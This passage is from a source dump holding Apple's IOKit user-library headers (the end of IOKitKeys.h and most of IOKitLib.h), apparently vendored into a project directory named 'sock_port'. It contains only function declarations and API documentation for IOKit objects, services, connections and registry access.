kIONVRAMDeletePropertyKey "IONVRAM-DELETE-PROPERTY" #define kIODTNVRAMPanicInfoKey "aapl,panic-info" // keys for complex boot information #define kIOBootDeviceKey "IOBootDevice" // dict | array of dicts #define kIOBootDevicePathKey "IOBootDevicePath" // arch-neutral OSString #define kIOBootDeviceSizeKey "IOBootDeviceSize" // OSNumber of bytes // keys for OS Version information #define kOSBuildVersionKey "OS Build Version" #endif /* ! _IOKIT_IOKITKEYS_H */ ================================================ FILE: sock_port/include/IOKit/IOKitLib.h ================================================ /* * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. * * @APPLE_LICENSE_HEADER_START@ * * The contents of this file constitute Original Code as defined in and * are subject to the Apple Public Source License Version 1.1 (the * "License"). You may not use this file except in compliance with the * License. Please obtain a copy of the License at * http://www.apple.com/publicsource and read it before using this file. * * This Original Code and all software distributed under the License are * distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE OR NON-INFRINGEMENT. Please see the * License for the specific language governing rights and limitations * under the License. * * @APPLE_LICENSE_HEADER_END@ */ /* * HISTORY * */ /* * IOKit user library */ #ifndef _IOKIT_IOKITLIB_H #define _IOKIT_IOKITLIB_H #ifdef KERNEL #error This file is not for kernel use #endif #include #include #include #include #include #include #include #include "IOTypes.h" #include "IOKitKeys.h" #include "OSMessageNotification.h" #include __BEGIN_DECLS /*! @header IOKitLib IOKitLib implements non-kernel task access to common IOKit object types - IORegistryEntry, IOService, IOIterator etc. These functions are generic - families may provide API that is more specific.
IOKitLib represents IOKit objects outside the kernel with the types io_object_t, io_registry_entry_t, io_service_t, & io_connect_t. Function names usually begin with the type of object they are compatible with - eg. IOObjectRelease can be used with any io_object_t. Inside the kernel, the c++ class hierarchy allows the subclasses of each object type to receive the same requests from user level clients, for example in the kernel, IOService is a subclass of IORegistryEntry, which means any of the IORegistryEntryXXX functions in IOKitLib may be used with io_service_t's as well as io_registry_t's. There are functions available to introspect the class of the kernel object which any io_object_t et al. represents. IOKit objects returned by all functions should be released with IOObjectRelease. */ /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ typedef struct IONotificationPort * IONotificationPortRef; /*! @typedef IOServiceMatchingCallback @abstract Callback function to be notified of IOService publication. @param refcon The refcon passed when the notification was installed. @param iterator The notification iterator which now has new objects. */ typedef void (*IOServiceMatchingCallback)( void * refcon, io_iterator_t iterator ); /*! @typedef IOServiceInterestCallback @abstract Callback function to be notified of changes in state of an IOService. @param refcon The refcon passed when the notification was installed. @param service The IOService whose state has changed. @param messageType A messageType enum, defined by IOKit/IOMessage.h or by the IOService's family. @param messageArgument An argument for the message, dependent on the messageType. */ typedef void (*IOServiceInterestCallback)( void * refcon, io_service_t service, uint32_t messageType, void * messageArgument ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /*! @const kIOMasterPortDefault @abstract The default mach port used to initiate communication with IOKit. @discussion When specifying a master port to IOKit functions, the NULL argument indicates "use the default". This is a synonym for NULL, if you'd rather use a named constant. */ extern const mach_port_t kIOMasterPortDefault; /*! @function IOMasterPort @abstract Returns the mach port used to initiate communication with IOKit. @discussion Functions that don't specify an existing object require the IOKit master port to be passed. This function obtains that port. @param bootstrapPort Pass MACH_PORT_NULL for the default. @param masterPort The master port is returned. @result A kern_return_t error code. */ kern_return_t IOMasterPort( mach_port_t bootstrapPort, mach_port_t * masterPort ); /*! @function IONotificationPortCreate @abstract Creates and returns a notification object for receiving IOKit notifications of new devices or state changes. @discussion Creates the notification object to receive notifications from IOKit of new device arrivals or state changes. The notification object can be supply a CFRunLoopSource, or mach_port_t to be used to listen for events. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @result A reference to the notification object. */ IONotificationPortRef IONotificationPortCreate( mach_port_t masterPort ); /*! @function IONotificationPortDestroy @abstract Destroys a notification object created with IONotificationPortCreate. @param notify A reference to the notification object. */ void IONotificationPortDestroy( IONotificationPortRef notify ); /*! @function IONotificationPortGetRunLoopSource @abstract Returns a CFRunLoopSource to be used to listen for notifications. @discussion A notification object may deliver notifications to a CFRunLoop client by adding the run loop source returned by this function to the run loop. @param notify The notification object. @result A CFRunLoopSourceRef for the notification object. */ CFRunLoopSourceRef IONotificationPortGetRunLoopSource( IONotificationPortRef notify ); /*! @function IONotificationPortGetMachPort @abstract Returns a mach_port to be used to listen for notifications. @discussion A notification object may deliver notifications to a mach messaging client if they listen for messages on the port obtained from this function. Callbacks associated with the notifications may be delivered by calling IODispatchCalloutFromMessage with messages received @param notify The notification object. @result A mach_port for the notification object. */ mach_port_t IONotificationPortGetMachPort( IONotificationPortRef notify ); /*! @function IODispatchCalloutFromMessage @abstract Dispatches callback notifications from a mach message. @discussion A notification object may deliver notifications to a mach messaging client, which should call this function to generate the callbacks associated with the notifications arriving on the port. @param unused Not used, set to zero. @param msg A pointer to the message received. @param reference Pass the IONotificationPortRef for the object. */ void IODispatchCalloutFromMessage( void *unused, mach_msg_header_t *msg, void *reference ); /*! @function IOCreateReceivePort @abstract Creates and returns a mach port suitable for receiving IOKit messages of the specified type. @discussion In the future IOKit may use specialized messages and ports instead of the standard ports created by mach_port_allocate(). Use this function instead of mach_port_allocate() to ensure compatibility with future revisions of IOKit. @param msgType Type of message to be sent to this port (kOSNotificationMessageID or kOSAsyncCompleteMessageID) @param recvPort The created port is returned. @result A kern_return_t error code. */ kern_return_t IOCreateReceivePort( uint32_t msgType, mach_port_t * recvPort ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IOObject */ /*! @function IOObjectRelease @abstract Releases an object handle previously returned by IOKitLib. @discussion All objects returned by IOKitLib should be released with this function when access to them is no longer needed. Using the object after it has been released may or may not return an error, depending on how many references the task has to the same object in the kernel. @param object The IOKit object to release. @result A kern_return_t error code. */ kern_return_t IOObjectRelease( io_object_t object ); /*! @function IOObjectRetain @abstract Retains an object handle previously returned by IOKitLib. @discussion Gives the caller an additional reference to an existing object handle previously returned by IOKitLib. @param object The IOKit object to retain. @result A kern_return_t error code. */ kern_return_t IOObjectRetain( io_object_t object ); /*! @function IOObjectGetClass @abstract Return the class name of an IOKit object. @discussion This function uses the OSMetaClass system in the kernel to derive the name of the class the object is an instance of. @param object The IOKit object. @param className Caller allocated buffer to receive the name string. @result A kern_return_t error code. */ kern_return_t IOObjectGetClass( io_object_t object, io_name_t className ); /*! @function CFStringRef IOObjectCopyClass @abstract Return the class name of an IOKit object. @discussion This function does the same thing as IOObjectGetClass, but returns the result as a CFStringRef. @param object The IOKit object. @result The resulting CFStringRef. This should be released by the caller. If a valid object is not passed in, then NULL is returned.*/ CFStringRef IOObjectCopyClass(io_object_t object) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; /*! @function CFStringRef IOObjectCopySuperclassForClass @abstract Return the superclass name of the given class. @discussion This function uses the OSMetaClass system in the kernel to derive the name of the superclass of the class. @param classname The name of the class as a CFString. @result The resulting CFStringRef. This should be released by the caller. If there is no superclass, or a valid class name is not passed in, then NULL is returned.*/ CFStringRef IOObjectCopySuperclassForClass(CFStringRef classname) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; /*! @function CFStringRef IOObjectCopyBundleIdentifierForClass @abstract Return the bundle identifier of the given class. @discussion This function uses the OSMetaClass system in the kernel to derive the name of the kmod, which is the same as the bundle identifier. @param classname The name of the class as a CFString. @result The resulting CFStringRef. This should be released by the caller. If a valid class name is not passed in, then NULL is returned.*/ CFStringRef IOObjectCopyBundleIdentifierForClass(CFStringRef classname) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; /*! @function IOObjectConformsTo @abstract Performs an OSDynamicCast operation on an IOKit object. @discussion This function uses the OSMetaClass system in the kernel to determine if the object will dynamic cast to a class, specified as a C-string. In other words, if the object is of that class or a subclass. @param object An IOKit object. @param className The name of the class, as a C-string. @result If the object handle is valid, and represents an object in the kernel that dynamic casts to the class true is returned, otherwise false. */ boolean_t IOObjectConformsTo( io_object_t object, const io_name_t className ); /*! @function IOObjectIsEqualTo @abstract Checks two object handles to see if they represent the same kernel object. @discussion If two object handles are returned by IOKitLib functions, this function will compare them to see if they represent the same kernel object. @param object An IOKit object. @param anObject Another IOKit object. @result If both object handles are valid, and represent the same object in the kernel true is returned, otherwise false. */ boolean_t IOObjectIsEqualTo( io_object_t object, io_object_t anObject ); /*! @function IOObjectGetRetainCount @abstract Returns kernel retain count of an IOKit object. @discussion This function may be used in diagnostics to determine the current retain count of the kernel object. @param object An IOKit object. @result If the object handle is valid, the kernel objects retain count is returned, otherwise zero is returned. */ uint32_t IOObjectGetRetainCount( io_object_t object ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IOIterator, subclass of IOObject */ /*! @function IOIteratorNext @abstract Returns the next object in an iteration. @discussion This function returns the next object in an iteration, or zero if no more remain or the iterator is invalid. @param iterator An IOKit iterator handle. @result If the iterator handle is valid, the next element in the iteration is returned, otherwise zero is returned. The element should be released by the caller when it is finished. */ io_object_t IOIteratorNext( io_iterator_t iterator ); /*! @function IOIteratorReset @abstract Resets an iteration back to the beginning. @discussion If an iterator is invalid, or if the caller wants to start over, IOIteratorReset will set the iteration back to the beginning. @param iterator An IOKit iterator handle. */ void IOIteratorReset( io_iterator_t iterator ); /*! @function IOIteratorIsValid @abstract Checks an iterator is still valid. @discussion Some iterators will be made invalid if changes are made to the structure they are iterating over. This function checks the iterator is still valid and should be called when IOIteratorNext returns zero. An invalid iterator can be reset and the iteration restarted. @param iterator An IOKit iterator handle. @result True if the iterator handle is valid, otherwise false is returned. */ boolean_t IOIteratorIsValid( io_iterator_t iterator ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IOService, subclass of IORegistryEntry */ /*! @function IOServiceGetMatchingService @abstract Look up a registered IOService object that matches a matching dictionary. @discussion This is the preferred method of finding IOService objects currently registered by IOKit (that is, objects that have had their registerService() methods invoked). To find IOService objects that aren't yet registered, use an iterator as created by IORegistryEntryCreateIterator(). IOServiceAddMatchingNotification can also supply this information and install a notification of new IOServices. The matching information used in the matching dictionary may vary depending on the class of service being looked up. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param matching A CF dictionary containing matching information, of which one reference is always consumed by this function (Note prior to the Tiger release there was a small chance that the dictionary might not be released if there was an error attempting to serialize the dictionary). IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching, IOOpenFirmwarePathMatching. @result The first service matched is returned on success. The service must be released by the caller. */ io_service_t IOServiceGetMatchingService( mach_port_t masterPort, CFDictionaryRef matching ); /*! @function IOServiceGetMatchingServices @abstract Look up registered IOService objects that match a matching dictionary. @discussion This is the preferred method of finding IOService objects currently registered by IOKit (that is, objects that have had their registerService() methods invoked). To find IOService objects that aren't yet registered, use an iterator as created by IORegistryEntryCreateIterator(). IOServiceAddMatchingNotification can also supply this information and install a notification of new IOServices. The matching information used in the matching dictionary may vary depending on the class of service being looked up. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param matching A CF dictionary containing matching information, of which one reference is always consumed by this function (Note prior to the Tiger release there was a small chance that the dictionary might not be released if there was an error attempting to serialize the dictionary). IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching, IOOpenFirmwarePathMatching. @param existing An iterator handle is returned on success, and should be released by the caller when the iteration is finished. @result A kern_return_t error code. */ kern_return_t IOServiceGetMatchingServices( mach_port_t masterPort, CFDictionaryRef matching, io_iterator_t * existing ); kern_return_t IOServiceAddNotification( mach_port_t masterPort, const io_name_t notificationType, CFDictionaryRef matching, mach_port_t wakePort, uintptr_t reference, io_iterator_t * notification ) DEPRECATED_ATTRIBUTE; /*! @function IOServiceAddMatchingNotification @abstract Look up registered IOService objects that match a matching dictionary, and install a notification request of new IOServices that match. @discussion This is the preferred method of finding IOService objects that may arrive at any time. The type of notification specifies the state change the caller is interested in, on IOService's that match the match dictionary. Notification types are identified by name, and are defined in IOKitKeys.h. The matching information used in the matching dictionary may vary depending on the class of service being looked up. @param notifyPort A IONotificationPortRef object that controls how messages will be sent when the armed notification is fired. When the notification is delivered, the io_iterator_t representing the notification should be iterated through to pick up all outstanding objects. When the iteration is finished the notification is rearmed. See IONotificationPortCreate. @param notificationType A notification type from IOKitKeys.h
kIOPublishNotification Delivered when an IOService is registered.
kIOFirstPublishNotification Delivered when an IOService is registered, but only once per IOService instance. Some IOService's may be reregistered when their state is changed.
kIOMatchedNotification Delivered when an IOService has had all matching drivers in the kernel probed and started.
kIOFirstMatchNotification Delivered when an IOService has had all matching drivers in the kernel probed and started, but only once per IOService instance. Some IOService's may be reregistered when their state is changed.
kIOTerminatedNotification Delivered after an IOService has been terminated. @param matching A CF dictionary containing matching information, of which one reference is always consumed by this function (Note prior to the Tiger release there was a small chance that the dictionary might not be released if there was an error attempting to serialize the dictionary). IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching, IOOpenFirmwarePathMatching. @param callback A callback function called when the notification fires. @param refCon A reference constant for the callbacks use. @param notification An iterator handle is returned on success, and should be released by the caller when the notification is to be destroyed. The notification is armed when the iterator is emptied by calls to IOIteratorNext - when no more objects are returned, the notification is armed. Note the notification is not armed when first created. @result A kern_return_t error code. */ kern_return_t IOServiceAddMatchingNotification( IONotificationPortRef notifyPort, const io_name_t notificationType, CFDictionaryRef matching, IOServiceMatchingCallback callback, void * refCon, io_iterator_t * notification ); /*! @function IOServiceAddInterestNotification @abstract Register for notification of state changes in an IOService. @discussion IOService objects deliver notifications of their state changes to their clients via the IOService::message API, and to other interested parties including callers of this function. Message type s are defined IOKit/IOMessage.h. @param notifyPort A IONotificationPortRef object that controls how messages will be sent when the notification is fired. See IONotificationPortCreate. @param interestType A notification type from IOKitKeys.h
kIOGeneralInterest General state changes delivered via the IOService::message API.
kIOBusyInterest Delivered when the IOService changes its busy state to or from zero. The message argument contains the new busy state causing the notification. @param callback A callback function called when the notification fires, with messageType and messageArgument for the state change. @param refCon A reference constant for the callbacks use. @param notification An object handle is returned on success, and should be released by the caller when the notification is to be destroyed. @result A kern_return_t error code. */ kern_return_t IOServiceAddInterestNotification( IONotificationPortRef notifyPort, io_service_t service, const io_name_t interestType, IOServiceInterestCallback callback, void * refCon, io_object_t * notification ); /*! @function IOServiceMatchPropertyTable @abstract Match an IOService objects with matching dictionary. @discussion This function calls the matching method of an IOService object and returns the boolean result. @param service The IOService object to match. @param matching A CF dictionary containing matching information. IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching, IOOpenFirmwarePathMatching. @param matches The boolean result is returned. @result A kern_return_t error code. */ kern_return_t IOServiceMatchPropertyTable( io_service_t service, CFDictionaryRef matching, boolean_t * matches ); /*! @function IOServiceGetBusyState @abstract Returns the busyState of an IOService. @discussion Many activities in IOService are asynchronous. When registration, matching, or termination is in progress on an IOService, its busyState is increased by one. Change in busyState to or from zero also changes the IOService's provider's busyState by one, which means that an IOService is marked busy when any of the above activities is ocurring on it or any of its clients. @param service The IOService whose busyState to return. @param busyState The busyState count is returned. @result A kern_return_t error code. */ kern_return_t IOServiceGetBusyState( io_service_t service, uint32_t * busyState ); /*! @function IOServiceWaitQuiet @abstract Wait for an IOService's busyState to be zero. @discussion Blocks the caller until an IOService is non busy, see IOServiceGetBusyState. @param service The IOService wait on. @param waitTime Specifies a maximum time to wait. @result Returns an error code if mach synchronization primitives fail, kIOReturnTimeout, or kIOReturnSuccess. */ kern_return_t IOServiceWaitQuiet( io_service_t service, mach_timespec_t * waitTime ); /*! @function IOKitGetBusyState @abstract Returns the busyState of all IOServices. @discussion Many activities in IOService are asynchronous. When registration, matching, or termination is in progress on an IOService, its busyState is increased by one. Change in busyState to or from zero also changes the IOService's provider's busyState by one, which means that an IOService is marked busy when any of the above activities is ocurring on it or any of its clients. IOKitGetBusyState returns the busy state of the root of the service plane which reflects the busy state of all IOServices. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param busyState The busyState count is returned. @result A kern_return_t error code. */ kern_return_t IOKitGetBusyState( mach_port_t masterPort, uint32_t * busyState ); /*! @function IOKitWaitQuiet @abstract Wait for a all IOServices' busyState to be zero. @discussion Blocks the caller until all IOServices are non busy, see IOKitGetBusyState. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param waitTime Specifies a maximum time to wait. @result Returns an error code if mach synchronization primitives fail, kIOReturnTimeout, or kIOReturnSuccess. */ kern_return_t IOKitWaitQuiet( mach_port_t masterPort, mach_timespec_t * waitTime ); /*! @function IOServiceOpen @abstract A request to create a connection to an IOService. @discussion A non kernel client may request a connection be opened via the IOServiceOpen() library function, which will call IOService::newUserClient in the kernel. The rules & capabilities of user level clients are family dependent, the default IOService implementation returns kIOReturnUnsupported. @param service The IOService object to open a connection to, usually obtained via the IOServiceGetMatchingServices or IOServiceAddNotification APIs. @param owningTask The mach task requesting the connection. @param type A constant specifying the type of connection to be created, interpreted only by the IOService's family. @param connect An io_connect_t handle is returned on success, to be used with the IOConnectXXX APIs. It should be destroyed with IOServiceClose(). @result A return code generated by IOService::newUserClient. */ kern_return_t IOServiceOpen( io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t * connect ); /*! @function IOServiceRequestProbe @abstract A request to rescan a bus for device changes. @discussion A non kernel client may request a bus or controller rescan for added or removed devices, if the bus family does automatically notice such changes. For example, SCSI bus controllers do not notice device changes. The implementation of this routine is family dependent, and the default IOService implementation returns kIOReturnUnsupported. @param service The IOService object to request a rescan, usually obtained via the IOServiceGetMatchingServices or IOServiceAddNotification APIs. @param options An options mask, interpreted only by the IOService's family. @result A return code generated by IOService::requestProbe. */ kern_return_t IOServiceRequestProbe( io_service_t service, uint32_t options ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IOService connection */ /*! @function IOServiceClose @abstract Close a connection to an IOService and destroy the connect handle. @discussion A connection created with the IOServiceOpen should be closed when the connection is no longer to be used with IOServiceClose. @param connect The connect handle created by IOServiceOpen. It will be destroyed by this function, and should not be released with IOObjectRelease. @result A kern_return_t error code. */ kern_return_t IOServiceClose( io_connect_t connect ); /*! @function IOConnectAddRef @abstract Adds a reference to the connect handle. @discussion Adds a reference to the connect handle. @param connect The connect handle created by IOServiceOpen. @result A kern_return_t error code. */ kern_return_t IOConnectAddRef( io_connect_t connect ); /*! @function IOConnectRelease @abstract Remove a reference to the connect handle. @discussion Removes a reference to the connect handle. If the last reference is removed an implicit IOServiceClose is performed. @param connect The connect handle created by IOServiceOpen. @result A kern_return_t error code. */ kern_return_t IOConnectRelease( io_connect_t connect ); /*! @function IOConnectGetService @abstract Returns the IOService a connect handle was opened on. @discussion Finds the service object a connection was opened on. @param connect The connect handle created by IOServiceOpen. @param service On succes, the service handle the connection was opened on, which should be released with IOObjectRelease. @result A kern_return_t error code. */ kern_return_t IOConnectGetService( io_connect_t connect, io_service_t * service ); /*! @function IOConnectSetNotificationPort @abstract Set a port to receive family specific notifications. @discussion This is a generic method to pass a mach port send right to be be used by family specific notifications. @param connect The connect handle created by IOServiceOpen. @param type The type of notification requested, not interpreted by IOKit and family defined. @param port The port to which to send notifications. @param reference Some families may support passing a reference parameter for the callers use with the notification. @result A kern_return_t error code. */ kern_return_t IOConnectSetNotificationPort( io_connect_t connect, uint32_t type, mach_port_t port, uintptr_t reference ); /*! @function IOConnectMapMemory @abstract Map hardware or shared memory into the caller's task. @discussion This is a generic method to create a mapping in the callers task. The family will interpret the type parameter to determine what sort of mapping is being requested. Cache modes and placed mappings may be requested by the caller. @param connect The connect handle created by IOServiceOpen. @param memoryType What is being requested to be mapped, not interpreted by IOKit and family defined. The family may support physical hardware or shared memory mappings. @param intoTask The task port for the task in which to create the mapping. This may be different to the task which the opened the connection. @param atAddress An in/out parameter - if the kIOMapAnywhere option is not set, the caller should pass the address where it requests the mapping be created, otherwise nothing need to set on input. The address of the mapping created is passed back on sucess. @param ofSize The size of the mapping created is passed back on success. @result A kern_return_t error code. */ #if !__LP64__ kern_return_t IOConnectMapMemory( io_connect_t connect, uint32_t memoryType, task_port_t intoTask, vm_address_t *atAddress, vm_size_t *ofSize, IOOptionBits options ); kern_return_t IOConnectMapMemory64 #else kern_return_t IOConnectMapMemory #endif (io_connect_t connect, uint32_t memoryType, task_port_t intoTask, mach_vm_address_t *atAddress, mach_vm_size_t *ofSize, IOOptionBits options ); /*! @function IOConnectUnmapMemory @abstract Remove a mapping made with IOConnectMapMemory. @discussion This is a generic method to remove a mapping in the callers task. @param connect The connect handle created by IOServiceOpen. @param memoryType The memory type originally requested in IOConnectMapMemory. @param intoTask The task port for the task in which to remove the mapping. This may be different to the task which the opened the connection. @param atAddress The address of the mapping to be removed. @result A kern_return_t error code. */ #if !__LP64__ kern_return_t IOConnectUnmapMemory( io_connect_t connect, uint32_t memoryType, task_port_t fromTask, vm_address_t atAddress ); kern_return_t IOConnectUnmapMemory64 #else kern_return_t IOConnectUnmapMemory #endif (io_connect_t connect, uint32_t memoryType, task_port_t fromTask, mach_vm_address_t atAddress ); /*! @function IOConnectSetCFProperties @abstract Set CF container based properties on a connection. @discussion This is a generic method to pass a CF container of properties to the connection. The properties are interpreted by the family and commonly represent configuration settings, but may be interpreted as anything. @param connect The connect handle created by IOServiceOpen. @param properties A CF container - commonly a CFDictionary but this is not enforced. The container should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects. @result A kern_return_t error code returned by the family. */ kern_return_t IOConnectSetCFProperties( io_connect_t connect, CFTypeRef properties ); /*! @function IOConnectSetCFProperty @abstract Set a CF container based property on a connection. @discussion This is a generic method to pass a CF property to the connection. The property is interpreted by the family and commonly represent configuration settings, but may be interpreted as anything. @param connect The connect handle created by IOServiceOpen. @param propertyName The name of the property as a CFString. @param property A CF container - should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects. @result A kern_return_t error code returned by the object. */ kern_return_t IOConnectSetCFProperty( io_connect_t connect, CFStringRef propertyName, CFTypeRef property ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ // Combined LP64 & ILP32 Extended IOUserClient::externalMethod kern_return_t IOConnectCallMethod( mach_port_t connection, // In uint32_t selector, // In const uint64_t *input, // In uint32_t inputCnt, // In const void *inputStruct, // In size_t inputStructCnt, // In uint64_t *output, // Out uint32_t *outputCnt, // In/Out void *outputStruct, // Out size_t *outputStructCnt) // In/Out AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; kern_return_t IOConnectCallAsyncMethod( mach_port_t connection, // In uint32_t selector, // In mach_port_t wake_port, // In uint64_t *reference, // In uint32_t referenceCnt, // In const uint64_t *input, // In uint32_t inputCnt, // In const void *inputStruct, // In size_t inputStructCnt, // In uint64_t *output, // Out uint32_t *outputCnt, // In/Out void *outputStruct, // Out size_t *outputStructCnt) // In/Out AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; kern_return_t IOConnectCallStructMethod( mach_port_t connection, // In uint32_t selector, // In const void *inputStruct, // In size_t inputStructCnt, // In void *outputStruct, // Out size_t *outputStructCnt) // In/Out AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; kern_return_t IOConnectCallAsyncStructMethod( mach_port_t connection, // In uint32_t selector, // In mach_port_t wake_port, // In uint64_t *reference, // In uint32_t referenceCnt, // In const void *inputStruct, // In size_t inputStructCnt, // In void *outputStruct, // Out size_t *outputStructCnt) // In/Out AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; kern_return_t IOConnectCallScalarMethod( mach_port_t connection, // In uint32_t selector, // In const uint64_t *input, // In uint32_t inputCnt, // In uint64_t *output, // Out uint32_t *outputCnt) // In/Out AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; kern_return_t IOConnectCallAsyncScalarMethod( mach_port_t connection, // In uint32_t selector, // In mach_port_t wake_port, // In uint64_t *reference, // In uint32_t referenceCnt, // In const uint64_t *input, // In uint32_t inputCnt, // In uint64_t *output, // Out uint32_t *outputCnt) // In/Out AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ kern_return_t IOConnectTrap0(io_connect_t connect, uint32_t index ); kern_return_t IOConnectTrap1(io_connect_t connect, uint32_t index, uintptr_t p1 ); kern_return_t IOConnectTrap2(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2); kern_return_t IOConnectTrap3(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3); kern_return_t IOConnectTrap4(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4); kern_return_t IOConnectTrap5(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5); kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /*! @function IOConnectAddClient @abstract Inform a connection of a second connection. @discussion This is a generic method to inform a family connection of a second connection, and is rarely used. @param connect The connect handle created by IOServiceOpen. @param client Another connect handle created by IOServiceOpen. @result A kern_return_t error code returned by the family. */ kern_return_t IOConnectAddClient( io_connect_t connect, io_connect_t client ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IORegistry accessors */ /*! @function IORegistryGetRootEntry @abstract Return a handle to the registry root. @discussion This method provides an accessor to the root of the registry for the machine. The root may be passed to a registry iterator when iterating a plane, and contains properties that describe the available planes, and diagnostic information for IOKit. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @result A handle to the IORegistryEntry root instance, to be released with IOObjectRelease by the caller, or MACH_PORT_NULL on failure. */ io_registry_entry_t IORegistryGetRootEntry( mach_port_t masterPort ); /*! @function IORegistryEntryFromPath @abstract Looks up a registry entry by path. @discussion This function parses paths to lookup registry entries. The path should begin with ':' If there are characters remaining unparsed after an entry has been looked up, this is considered an invalid lookup. Paths are further documented in IORegistryEntry.h @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param path A C-string path. @result A handle to the IORegistryEntry witch was found with the path, to be released with IOObjectRelease by the caller, or MACH_PORT_NULL on failure. */ io_registry_entry_t IORegistryEntryFromPath( mach_port_t masterPort, const io_string_t path ); // options for IORegistryCreateIterator(), IORegistryEntryCreateIterator, IORegistryEntrySearchCFProperty() enum { kIORegistryIterateRecursively = 0x00000001, kIORegistryIterateParents = 0x00000002 }; /*! @function IORegistryCreateIterator @abstract Create an iterator rooted at the registry root. @discussion This method creates an IORegistryIterator in the kernel that is set up with options to iterate children of the registry root entry, and to recurse automatically into entries as they are returned, or only when instructed with calls to IORegistryIteratorEnterEntry. The iterator object keeps track of entries that have been recursed into previously to avoid loops. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param options kIORegistryIterateRecursively may be set to recurse automatically into each entry as it is returned from IOIteratorNext calls on the registry iterator. @param iterator A created iterator handle, to be released by the caller when it has finished with it. @result A kern_return_t error code. */ kern_return_t IORegistryCreateIterator( mach_port_t masterPort, const io_name_t plane, IOOptionBits options, io_iterator_t * iterator ); /*! @function IORegistryEntryCreateIterator @abstract Create an iterator rooted at a given registry entry. @discussion This method creates an IORegistryIterator in the kernel that is set up with options to iterate children or parents of a root entry, and to recurse automatically into entries as they are returned, or only when instructed with calls to IORegistryIteratorEnterEntry. The iterator object keeps track of entries that have been recursed into previously to avoid loops. @param entry The root entry to begin the iteration at. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param options kIORegistryIterateRecursively may be set to recurse automatically into each entry as it is returned from IOIteratorNext calls on the registry iterator. kIORegistryIterateParents may be set to iterate the parents of each entry, by default the children are iterated. @param iterator A created iterator handle, to be released by the caller when it has finished with it. @result A kern_return_t error code. */ kern_return_t IORegistryEntryCreateIterator( io_registry_entry_t entry, const io_name_t plane, IOOptionBits options, io_iterator_t * iterator ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IORegistryIterator, subclass of IOIterator */ /*! @function IORegistryIteratorEnterEntry @abstract Recurse into the current entry in the registry iteration. @discussion This method makes the current entry, ie. the last entry returned by IOIteratorNext, the root in a new level of recursion. @result A kern_return_t error code. */ kern_return_t IORegistryIteratorEnterEntry( io_iterator_t iterator ); /*! @function IORegistryIteratorExitEntry @abstract Exits a level of recursion, restoring the current entry. @discussion This method undoes an IORegistryIteratorEnterEntry, restoring the current entry. If there are no more levels of recursion to exit false is returned, otherwise true is returned. @result kIOReturnSuccess if a level of recursion was undone, kIOReturnNoDevice if no recursive levels are left in the iteration. */ kern_return_t IORegistryIteratorExitEntry( io_iterator_t iterator ); /* * * * * * * * * * * * * * * * 